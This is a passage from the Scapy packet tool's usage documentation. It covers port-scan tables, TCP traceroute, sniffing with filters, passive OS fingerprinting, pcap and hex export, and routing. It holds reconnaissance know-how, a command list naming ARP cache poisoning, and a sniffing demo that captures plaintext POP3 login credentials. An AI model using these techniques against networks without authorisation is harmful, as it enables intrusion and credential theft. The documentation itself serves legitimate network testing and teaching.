Received 362 packets, got 8 answers, remaining 1 packets
>>> ans.make_table(
...    lambda s,r: (s.dst, s.dport,
...    r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
    66.35.250.150                192.168.1.1 216.109.112.135
22  66.35.250.150 - dest-unreach RA          -
80  SA                           RA          SA
443 SA                           SA          SA





The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP.

For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set:

>>> ans.nsummary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "SA")
0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA





In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open:

>>> ans.summary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "SA",prn=lambda s,r: r.sprintf("%TCP.sport% is open"))
https is open





Again, for larger scans we can build a table of open ports:

>>> ans.filter(lambda s,r: TCP in r and r[TCP].flags&2).make_table(lambda s,r:
...             (s.dst, s.dport, "X"))
    66.35.250.150 192.168.1.1 216.109.112.135
80  X             -           X
443 X             X           X





If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results:

>>> report_ports("192.168.1.1",(440,443))
Begin emission:
...*.**Finished to send 4 packets.
*
Received 8 packets, got 4 answers, remaining 0 packets
'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
 & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'







TCP traceroute

A TCP traceroute:

>>> ans, unans = sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))
*****.******.*.***..*.**Finished to send 22 packets.
***......
Received 33 packets, got 21 answers, remaining 1 packets
>>> for snd,rcv in ans:
...     print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
...
5 194.51.159.65 0
6 194.51.159.49 0
4 194.250.107.181 0
7 193.251.126.34 0
8 193.251.126.154 0
9 193.251.241.89 0
10 193.251.241.110 0
11 193.251.241.173 0
13 208.172.251.165 0
12 193.251.241.173 0
14 208.172.251.165 0
15 206.24.226.99 0
16 206.24.238.34 0
17 173.109.66.90 0
18 173.109.88.218 0
19 173.29.39.101 1
20 173.29.39.101 1
21 173.29.39.101 1
22 173.29.39.101 1
23 173.29.39.101 1
24 173.29.39.101 1





Note that the TCP traceroute and some other high-level functions are already coded:

>>> lsc()
sr               : Send and receive packets at layer 3
sr1              : Send packets at layer 3 and return only the first answer
srp              : Send and receive packets at layer 2
srp1             : Send and receive packets at layer 2 and return only the first answer
srloop           : Send a packet at layer 3 in loop and print the answer each time
srploop          : Send a packet at layer 2 in loop and print the answer each time
sniff            : Sniff packets
p0f              : Passive OS fingerprinting: which OS emitted this TCP SYN ?
arpcachepoison   : Poison target's cache with (your MAC,victim's IP) couple
send             : Send packets at layer 3
sendp            : Send packets at layer 2
traceroute       : Instant TCP traceroute
arping           : Send ARP who-has requests to determine which hosts are up
ls               : List  available layers, or infos on a given layer
lsc              : List user commands
queso            : Queso OS fingerprinting
nmap_fp          : nmap fingerprinting
report_ports     : portscan a target and output a LaTeX table
dyndns_add       : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del       : Send a DNS delete message to a nameserver for "name"
[...]





Scapy may also use the GeoIP2 module, in combination with matplotlib and cartopy [http://scitools.org.uk/cartopy/docs/latest/installing.html] to generate fancy graphics such as below:

[image: _images/traceroute_worldplot.png]
In this example, we used the traceroute_map() function to print the graphic. This method is a shortcut which uses the world_trace of the TracerouteResult objects.
It could have been done differently:

>>> conf.geoip_city = "path/to/GeoLite2-City.mmdb"
>>> a = traceroute(["www.google.co.uk", "www.secdev.org"], verbose=0)
>>> a.world_trace()





or such as above:

>>> conf.geoip_city = "path/to/GeoLite2-City.mmdb"
>>> traceroute_map(["www.google.co.uk", "www.secdev.org"])





To use those functions, it is required to have installed the geoip2 [https://pypi.python.org/pypi/geoip2] module, its database [https://dev.maxmind.com/geoip/geoip2/geolite2/] (direct download [https://geolite.maxmind.com/download/geoip/database/GeoLite2-City.tar.gz])
but also the cartopy [http://scitools.org.uk/cartopy/docs/latest/installing.html] module.



Configuring super sockets

Different super sockets are available in Scapy: the native ones, and the ones that use libpcap (to send/receive packets).

By default, Scapy will try to use the native ones (except on Windows, where the winpcap/npcap ones are preferred). To manually use the libpcap ones, you must:


	On Unix/OSX: be sure to have libpcap installed.


	On Windows: have Npcap/Winpcap installed. (default)




Then use:

>>> conf.use_pcap = True





This will automatically update the sockets pointing to conf.L2socket and conf.L3socket.

If you want to manually set them, you have a bunch of sockets available, depending on your platform. For instance, you might want to use:

>>> conf.L3socket=L3pcapSocket  # Receive/send L3 packets through libpcap
>>> conf.L2listen=L2ListenTcpdump  # Receive L2 packets through TCPDump







Sniffing

We can easily capture some packets or even clone tcpdump or tshark. Either one interface or a list of interfaces to sniff on can be provided. If no interface is given, sniffing will happen on conf.iface:

>>>  sniff(filter="icmp and host 66.35.250.151", count=2)
<Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
>>>  a=_
>>>  a.nsummary()
0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
>>>  a[1]
<Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
 src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0
 chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
 \x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
 \x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>
>>> sniff(iface="wifi0", prn=lambda x: x.summary())
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding
802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding
802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw
>>> sniff(iface="eth1", prn=lambda x: x.show())
---[ Ethernet ]---
dst       = 00:ae:f3:52:aa:d1
src       = 00:02:15:37:a2:44
type      = 0x800
---[ IP ]---
   version   = 4L
   ihl       = 5L
   tos       = 0x0
   len       = 84
   id        = 0
   flags     = DF
   frag      = 0L
   ttl       = 64
   proto     = ICMP
   chksum    = 0x3831
   src       = 192.168.5.21
   dst       = 66.35.250.151
   options   = ''
---[ ICMP ]---
      type      = echo-request
      code      = 0
      chksum    = 0x89d9
      id        = 0xc245
      seq       = 0x0
---[ Raw ]---
         load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Ethernet ]---
dst       = 00:02:15:37:a2:44
src       = 00:ae:f3:52:aa:d1
type      = 0x800
---[ IP ]---
   version   = 4L
   ihl       = 5L
   tos       = 0x0
   len       = 84
   id        = 2070
   flags     =
   frag      = 0L
   ttl       = 42
   proto     = ICMP
   chksum    = 0x861b
   src       = 66.35.250.151
   dst       = 192.168.5.21
   options   = ''
---[ ICMP ]---
      type      = echo-reply
      code      = 0
      chksum    = 0x91d9
      id        = 0xc245
      seq       = 0x0
---[ Raw ]---
         load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Padding ]---
            load      = '\n_\x00\x0b'
>>> sniff(iface=["eth1","eth2"], prn=lambda x: x.sniffed_on+": "+x.summary())
eth3: Ether / IP / ICMP 192.168.5.21 > 66.35.250.151 echo-request 0 / Raw
eth3: Ether / IP / ICMP 66.35.250.151 > 192.168.5.21 echo-reply 0 / Raw
eth2: Ether / IP / ICMP 192.168.5.22 > 66.35.250.152 echo-request 0 / Raw
eth2: Ether / IP / ICMP 66.35.250.152 > 192.168.5.22 echo-reply 0 / Raw





For even more control over displayed information we can use the sprintf() function:

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
192.168.1.100 -> 64.233.167.99

64.233.167.99 -> 192.168.1.100

192.168.1.100 -> 64.233.167.99

192.168.1.100 -> 64.233.167.99
'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0
(X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
keep-alive\r\nCache-Control: max-age=0\r\n\r\n'





We can sniff and do passive OS fingerprinting:

>>> p
<Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
 src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80
 seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
 chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
 ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
>>> load_module("p0f")
>>> p0f(p)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
>>> a=sniff(prn=prnp0f)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
(1.0, ['Windows 2000 (9)'])





The number before the OS guess is the accuracy of the guess.


Note

When sniffing on several interfaces (e.g. iface=["eth0", ...]), you can check what interface a packet was sniffed on by using the sniffed_on attribute, as shown in one of the examples above.





Asynchronous Sniffing


Note

Asynchronous sniffing is only available since Scapy 2.4.3




Warning

Asynchronous sniffing does not necessarily improves performance (it’s rather the opposite). If you want to sniff on multiple interfaces / socket, remember you can pass them all to a single sniff() call



It is possible to sniff asynchronously. This allows to stop the sniffer programmatically, rather than with ctrl^C.
It provides start(), stop() and join() utils.

The basic usage would be:

>>> t = AsyncSniffer()
>>> t.start()
>>> print("hey")
hey
[...]
>>> results = t.stop()





[image: _images/animation-scapy-asyncsniffer.svg]The AsyncSniffer class has a few useful keys, such as results (the packets collected) or running, that can be used.
It accepts the same arguments than sniff() (in fact, their implementations are merged). For instance:

>>> t = AsyncSniffer(iface="enp0s3", count=200)
>>> t.start()
>>> t.join()  # this will hold until 200 packets are collected
>>> results = t.results
>>> print(len(results))
200





Another example: using prn and store=False

>>> t = AsyncSniffer(prn=lambda x: x.summary(), store=False, filter="tcp")
>>> t.start()
>>> time.sleep(20)
>>> t.stop()







Advanced Sniffing - Sniffing Sessions


Note

Sessions are only available since Scapy 2.4.3



sniff() also provides Sessions, that allows to dissect a flow of packets seamlessly. For instance, you may want your sniff(prn=...) function to automatically defragment IP packets, before executing the prn.

Scapy includes some basic Sessions, but it is possible to implement your own.
Available by default:


	IPSession -> defragment IP packets on-the-fly, to make a stream usable by prn.


	
	TCPSession -> defragment certain TCP protocols. Currently supports:
	
	HTTP 1.0


	TLS


	Kerberos


	DCE/RPC










	TLSSession -> matches TLS sessions on the flow.


	NetflowSession -> resolve Netflow V9 packets from their NetflowFlowset information objects




Those sessions can be used using the session= parameter of sniff(). Examples:

>>> sniff(session=IPSession, iface="eth0")
>>> sniff(session=TCPSession, prn=lambda x: x.summary(), store=False)
>>> sniff(offline="file.pcap", session=NetflowSession)






Note

To implement your own Session class, in order to support another flow-based protocol, start by copying a sample from scapy/sessions.py [https://github.com/secdev/scapy/blob/master/scapy/sessions.py]
Your custom Session class only needs to extend the DefaultSession class, and implement a process or a recv function, such as in the examples.




Warning

The inner workings of Session is currently UNSTABLE: custom Sessions may break in the future.




How to use TCPSession to defragment TCP packets

The layer on which the decompression is applied must be immediately following the TCP layer. You need to implement a class function called tcp_reassemble that accepts the binary data, a metadata dictionary as argument and returns, when full, a packet. Let’s study the (pseudo) example of TLS:

class TLS(Packet):
    [...]

    @classmethod
    def tcp_reassemble(cls, data, metadata, session):
        length = struct.unpack("!H", data[3:5])[0] + 5
        if len(data) == length:
            return TLS(data)





In this example, we first get the total length of the TLS payload announced by the TLS header, and we compare it to the length of the data. When the data reaches this length, the packet is complete and can be returned. When implementing tcp_reassemble, it’s usually a matter of detecting when a packet isn’t missing anything else.

The data argument is bytes and the metadata argument is a dictionary which keys are as follow:


	metadata["pay_class"]: the TCP payload class (here TLS)


	metadata.get("tcp_psh", False): will be present if the PUSH flag is set


	metadata.get("tcp_end", False): will be present if the END or RESET flag is set







Filters

Demo of both bpf filter and sprintf() method:

>>> a=sniff(filter="tcp and ( port 25 or port 110 )",
 prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%  %2s,TCP.flags% : %TCP.payload%"))
192.168.8.10:47226 -> 213.228.0.14:110   S :
213.228.0.14:110 -> 192.168.8.10:47226  SA :
192.168.8.10:47226 -> 213.228.0.14:110   A :
213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK <13103.1048117923@pop2-1.free.fr>

192.168.8.10:47226 -> 213.228.0.14:110   A :
192.168.8.10:47226 -> 213.228.0.14:110  PA : USER toto

213.228.0.14:110 -> 192.168.8.10:47226   A :
213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK

192.168.8.10:47226 -> 213.228.0.14:110   A :
192.168.8.10:47226 -> 213.228.0.14:110  PA : PASS tata

213.228.0.14:110 -> 192.168.8.10:47226  PA : -ERR authorization failed

192.168.8.10:47226 -> 213.228.0.14:110   A :
213.228.0.14:110 -> 192.168.8.10:47226  FA :
192.168.8.10:47226 -> 213.228.0.14:110  FA :
213.228.0.14:110 -> 192.168.8.10:47226   A :







Send and receive in a loop

Here is an example of a (h)ping-like functionality : you always send the same set of packets to see if something change:

>>> srloop(IP(dst="www.target.com/30")/TCP())
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S







Importing and Exporting Data


PCAP

It is often useful to save capture packets to pcap file for use at later time or with different applications:

>>> wrpcap("temp.cap",pkts)





To restore previously saved pcap file:

>>> pkts = rdpcap("temp.cap")





or

>>> pkts = sniff(offline="temp.cap")







Hexdump

Scapy allows you to export recorded packets in various hex formats.

Use hexdump() to display one or more packets using classic hexdump format:

>>> hexdump(pkt)
0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
0060   36 37                                              67





Hexdump above can be reimported back into Scapy using import_hexcap():

>>> pkt_hex = Ether(import_hexcap())
0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
0060   36 37                                              67
>>> pkt_hex
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>







Binary string

You can also convert entire packet into a binary string using the raw() function:

>>> pkts = sniff(count = 1)
>>> pkt = pkts[0]
>>> pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
>>> pkt_raw = raw(pkt)
>>> pkt_raw
'\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8
\x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00
\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'





We can reimport the produced binary string by selecting the appropriate first layer (e.g. Ether()).

>>> new_pkt = Ether(pkt_raw)
>>> new_pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>







Base64

Using the export_object() function, Scapy can export a base64 encoded Python data structure representing a packet:

>>> pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>
>>> export_object(pkt)
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...





The output above can be reimported back into Scapy using import_object():

>>> new_pkt = import_object()
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...
>>> new_pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>







Sessions

At last Scapy is capable of saving all session variables using the save_session() function:

>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']
>>> save_session("session.scapy")





Next time you start Scapy you can load the previous saved session using the load_session() command:

>>> dir()
['__builtins__', 'conf']
>>> load_session("session.scapy")
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']








Making tables

Now we have a demonstration of the make_table() presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, make_lined_table() and make_tex_table() to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object :

Here we can see a multi-parallel traceroute (Scapy already has a multi TCP traceroute function. See later):

>>> ans, unans = sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP())
Received 49 packets, got 24 answers, remaining 0 packets
>>> ans.make_table( lambda s,r: (s.dst, s.ttl, r.src) )
  216.15.189.192  216.15.189.193  216.15.189.194  216.15.189.195
1 192.168.8.1     192.168.8.1     192.168.8.1     192.168.8.1
2 81.57.239.254   81.57.239.254   81.57.239.254   81.57.239.254
3 213.228.4.254   213.228.4.254   213.228.4.254   213.228.4.254
4 213.228.3.3     213.228.3.3     213.228.3.3     213.228.3.3
5 193.251.254.1   193.251.251.69  193.251.254.1   193.251.251.69
6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178





Here is a more complex example to distinguish machines or their IP stacks from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack as 172.20.80.201 and that 172.20.80.197:25 is not answered by the same IP stack as other ports on the same IP.

>>> ans, unans = sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))
Received 142 packets, got 25 answers, remaining 71 packets
>>> ans.make_table(lambda s,r: (s.dst, s.dport, r.sprintf("%IP.id%")))
   172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201
20 0             4203          7021          -             11562
21 0             4204          7022          -             11563
22 0             4205          7023          11561         11564
25 0             0             7024          -             11565
53 0             4207          7025          -             11566
80 0             4028          7026          -             11567





It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc.



Routing

Now Scapy has its own routing table, so that you can have your packets routed differently than the system:

>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.1     eth0
>>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1")
>>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254")
>>> conf.route.add(host="192.168.1.1",gw="192.168.8.1")
>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.254   eth0
192.168.1.1     255.255.255.255 192.168.8.1     eth0
>>> conf.route.resync()
>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.1     eth0







Matplotlib

We can easily plot some harvested values using Matplotlib. (Make sure that you have matplotlib installed.)
For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer:

>>> a, b = sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000))
>>> a.plot(lambda x:x[1].id)
[<matplotlib.lines.Line2D at 0x2367b80d6a0>]





[image: _images/ipid.png]


TCP traceroute (2)

Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, Scapy sends all the packets at the same time. This has the disadvantage that it can’t know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result:

>>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20)
Received 80 packets, got 80 answers, remaining 0 packets
   193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80
1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
2  82.243.5.254       82.243.5.254       82.243.5.254       82.243.5.254
3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
4  212.27.50.46       212.27.50.46       212.27.50.46       212.27.50.46
5  212.27.50.37       212.27.50.41       212.27.50.37       212.27.50.41
6  212.27.50.34       212.27.50.34       213.228.3.234      193.251.251.69
7  213.248.71.141     217.118.239.149    208.184.231.214    193.251.241.178
8  213.248.65.81      217.118.224.44     64.125.31.129      193.251.242.98
9  213.248.70.14      213.206.129.85     64.125.31.186      193.251.243.89
10 193.45.10.88    SA 213.206.128.160    64.125.29.122      193.251.254.126
11 193.45.10.88    SA 206.24.169.41      64.125.28.70       216.115.97.178
12 193.45.10.88    SA 206.24.226.99      64.125.28.209      66.218.64.146
13 193.45.10.88    SA 206.24.227.106     64.125.29.45       66.218.82.230
14 193.45.10.88    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA
15 193.45.10.88    SA 216.109.120.149    64.124.229.109     66.94.229.254   SA
16 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
17 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
18 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
19 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
